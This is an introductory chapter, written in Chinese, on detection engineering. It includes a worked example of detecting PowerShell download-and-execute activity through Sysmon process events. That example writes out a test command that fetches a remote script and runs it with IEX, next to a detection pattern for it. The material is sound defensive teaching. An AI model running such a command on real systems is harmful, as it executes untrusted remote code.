1. 检测工程导论

检测工程（Detection Engineering）是一门把“怀疑”转化为“可执行、可验证、可维护的检测逻辑”的工程学科。它关注的不是某一条告警规则写得好不好，而是整条检测能力链路：从攻击行为与数据源出发，经过检测假设、逻辑实现、测试验证、部署上线、效果度量，再到持续迭代。它的目标不是让告警数量变多，而是让真正重要的行为在正确的时间、以足够的上下文被稳定地识别出来。

在安全运营体系中，检测工程处在“数据”与“响应”之间的关键位置。原始日志、流量、终端遥测经过采集与规范化后，进入检测层；检测层输出告警与上下文，交给安全运营中心（SOC）的分析师进行研判、响应与处置。如果检测层薄弱，再强的响应团队也会被噪声淹没；如果检测层缺乏工程化管理，规则会随人员流动、数据源变更而逐渐失效。因此，检测工程不是安全运营的附属品，而是决定运营效率与效果的基础设施。

检测工程与传统规则运维的区别

传统规则运维通常以“接到需求—写规则—上线—出问题再改”的方式运作，规则散落在 SIEM、EDR、NDR 等平台中，缺少统一的生命周期管理。检测工程则强调把检测当作产品来经营：每条检测都有明确的假设、数据依赖、测试用例、负责人、版本记录和效果指标。二者的核心差异可以概括为：规则运维关注“规则是否存在”，检测工程关注“检测是否有效、是否可验证、是否可持续”。

举个具体例子。假设我们要检测“可疑的 PowerShell 下载执行”行为。传统做法可能直接写一条匹配 powershell 与 DownloadString 的规则并上线。检测工程的做法则先提出假设：攻击者可能通过 PowerShell 从远程地址下载并执行载荷；然后确认数据源是否包含命令行、父进程、网络连接等字段；再设计测试用例，用模拟命令验证规则能否命中，同时检查正常运维脚本是否会被误报；最后记录该检测的 ATT&CK 映射、数据源依赖、误报率和负责人。这个过程本身就是检测工程的核心工作方式。

检测工程的核心目标

检测工程的目标可以拆成四个可操作的维度。第一是覆盖度：针对关键攻击技术，是否有对应的检测逻辑，而不是只覆盖容易写的部分。第二是准确度：检测在真实环境中的误报率与漏报率是否可接受，是否能在噪声中保持可用。第三是可维护性：当数据源字段变化、攻击手法演进时，检测能否被快速定位、修改和重新验证。第四是可度量性：能否用指标说明检测能力的现状与变化，例如命中率、平均研判时长、误报关闭率等。

这四个维度决定了检测工程不能只靠“写规则”完成。它需要一套工程化的工作方式：用版本控制管理检测逻辑，用测试用例验证检测行为，用数据源清单跟踪依赖，用指标看板观察效果。下面给出一份可直接参考的检测工程工作项清单，用于把检测从“个人经验”转为“团队资产”。

一个可执行的教学示例

下面以“可疑 PowerShell 下载执行”为例，展示检测工程从假设到验证的完整过程。示例中的命令与结果均为教学构造，用于说明方法，不代表真实环境实测数据。

检测假设：
攻击者可能使用 PowerShell 从远程地址下载并执行载荷。

数据源：
Sysmon EventID 1（进程创建）
关键字段：Image、CommandLine、ParentImage、User

检测逻辑（伪查询）：
Image 包含 "powershell.exe"
AND CommandLine 包含 "DownloadString" 或 "Invoke-WebRequest"
AND ParentImage 不包含 "explorer.exe" 或 "chrome.exe"

命中测试样本：
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadString('http://198.51.100.10/a.ps1')"

误报测试样本：
powershell.exe -Command "Invoke-WebRequest -Uri https://intranet.example.com/update.ps1 -OutFile C:\Temp\update.ps1"
（由运维计划任务触发，ParentImage 为 taskeng.exe）

判断依据：
命中样本应产生告警；误报样本应被排除或降级为低优先级。
若误报样本仍触发告警，则需要增加父进程白名单或增加下载后执行行为的关联条件。

这个示例体现了检测工程的关键动作：先写清楚假设，再确认数据源字段是否可用，然后设计命中与误报两类测试样本，最后根据测试结果调整逻辑。传统规则运维往往只做“写规则”这一步，而检测工程把测试、判断和迭代纳入同一流程。

检测工程师的日常关注点

在实际工作中，检测工程师需要同时关注三类问题。第一类是攻击面变化：新的攻击技术、新的工具、新的横向移动方式，是否需要新增或调整检测。第二类是数据面变化：日志采集是否完整、字段是否被重命名、解析是否失败，这些都会直接影响检测是否还能命中。第三类是运营面反馈：分析师关闭了哪些告警、哪些告警从未被研判、哪些告警平均处理时间过长，这些反馈是检测迭代的重要输入。

因此，检测工程与安全运营不是单向的“检测输出告警、运营处理告警”，而是双向闭环。运营侧反馈误报和漏报，检测侧据此调整逻辑；检测侧发现数据源缺失，推动采集侧补齐字段。这个闭环越顺畅，检测能力越接近“可持续运行”的状态。

总结来说，检测工程的定义可以归纳为：以工程化方法构建、验证、部署和迭代检测能力的学科。它的目标是在正确的时间识别真正重要的行为，并在安全运营中形成“数据—检测—响应—反馈”的闭环。它与传统规则运维的根本区别在于：前者把检测当作需要持续验证和度量的产品，后者把规则当作一次性交付的配置。理解这一点，是后续学习检测假设设计、测试验证和效果度量的基础。